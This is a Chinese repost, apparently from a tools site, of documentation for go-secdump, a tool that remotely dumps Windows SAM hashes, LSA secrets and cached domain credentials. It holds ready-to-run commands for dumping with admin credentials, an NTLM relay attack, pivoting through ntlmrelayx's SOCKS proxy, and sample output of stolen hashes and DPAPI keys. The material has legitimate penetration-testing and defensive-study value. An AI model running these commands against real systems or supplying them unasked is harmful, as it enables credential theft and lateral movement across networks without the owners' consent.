当前位置:首页好用开源工具go-secdump — 一种用于从 SAM 远程提取哈希的工具

go-secdump — 一种用于从 SAM 远程提取哈希的工具

描述

软件包 go-secdump 是一种用于从 SAM 远程提取哈希的工具 注册表配置单元以及 SECURITY 配置单元中的 LSA 机密和缓存哈希 无需任何远程代理,也无需接触磁盘。

该工具构建在库 go-smb 之上,并使用它来与 Windows 远程注册表通信以检索注册表 键。

它是作为一种学习体验和概念证明而构建的 可以从 SAM 配置单元和 LSA 远程检索 NT 哈希 密钥以及域缓存的凭证,而无需先保存 注册表配置单元到磁盘,然后在本地解析它们。

要克服的主要问题是 SAM 和 SECURITY 配置单元只是 可由 NT AUTHORITYSYSTEM 读取。但是,我注意到本地组 管理员对注册表配置单元具有 WriteDACL 权限,并且可以 因此,用于临时授予对自身的读取访问权限,以检索 secrets 中,然后恢复原始权限。

用法

Usage: ./go-secdump [options]

options:
      --host <target>       Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>         SMB Port (default 445)
  -d, --domain <domain>     Domain name to use for login
  -u, --user <username>     Username
  -p, --pass <pass>         Password
  -n, --no-pass             Disable password prompt and send no credentials
      --hash <NT Hash>      Hex encoded NT Hash for user password
      --local               Authenticate as a local user instead of domain user
  -k, --kerberos            Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip               Optionally specify ip of KDC when using Kerberos authentication
      --target-ip           Optionally specify ip of target when using Kerberos authentication
      --aes-key             Use a hex encoded AES128/256 key for Kerberos authentication
      --dump                Saves the SAM and SECURITY hives to disk and
                            transfers them to the local machine.
      --sam                 Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                 Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                Extract DCC2 caches explicitly. Only ohter explicit targets are included.
      --backup-dacl         Save original DACLs to disk before modification
      --restore-dacl        Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file         Filename for DACL backup (default dacl.backup)
      --relay               Start an SMB listener that will relay incoming
                            NTLM authentications to the remote server and
                            use that connection. NOTE that this forces SMB 2.1
                            without encryption.
      --relay-port <port>   Listening port for relay (default 445)
      --socks-host <target> Establish connection via a SOCKS5 proxy server
      --socks-port <port>   SOCKS5 proxy port (default 1080)
  -t, --timeout             Dial timeout in seconds (default 5)
      --noenc               Disable smb encryption
      --smb2                Force smb 2.1
      --debug               Enable debug logging
      --verbose             Enable verbose logging
  -o, --output              Filename for writing results (default is stdout). Will append to file if it exists.
  -v, --version             Show version

更改 DACL

go-secdump 将自动尝试修改并恢复 必需的注册表项。但是,如果在恢复过程中出现问题 部分,例如网络断开连接或其他中断,远程注册表将 留下修改后的 DACL。

使用该参数可以存储 修改前的原始 DACL。 如果出现连接问题,可以稍后从文件中恢复 DACL 使用参数。--backup-dacl--restore-dacl

例子

转储所有注册表 secret

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

仅转储 SAM、LSA 或 DCC2 缓存密钥

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2

NTLM 中继

使用 NTLM 中继转储注册表机密

启动侦听器

./go-secdump --host 192.168.0.100 -n --relay

从具有 管理访问权限的客户端触发对计算机的身份验证 192.168.0.100 以某种方式,然后等待转储的 secret。

YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.localAdministrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.localAdministrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS 代理

使用上游 SOCKS5 代理转储密钥以进行透视或获取 Impacket ntlmrelayx.py SOCKS 服务器功能的优势。

使用 ntlmrelayx.py 作为上游代理时,提供的用户名必须匹配 已验证的客户端的密码,但密码可以为空。

./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080

项目地址

温馨提示:

文章标题:go-secdump — 一种用于从 SAM 远程提取哈希的工具

文章链接:https://www.cutrui.cn/3141.html

更新时间:2024年10月25日

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

给TA打赏
共{{data.count}}人
人已打赏
好用开源工具

WAF Bypass Tool:一款功能强大的Web应用防火墙安全测试工具

2023-4-26 14:07:40

好用开源工具

SharpBruteForceSSH -- 一个用 C# 编写的简单 SSH 暴力破解工具

2024-10-25 12:39:32

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索

你有新的私信

请务必要查看您的私信哟~~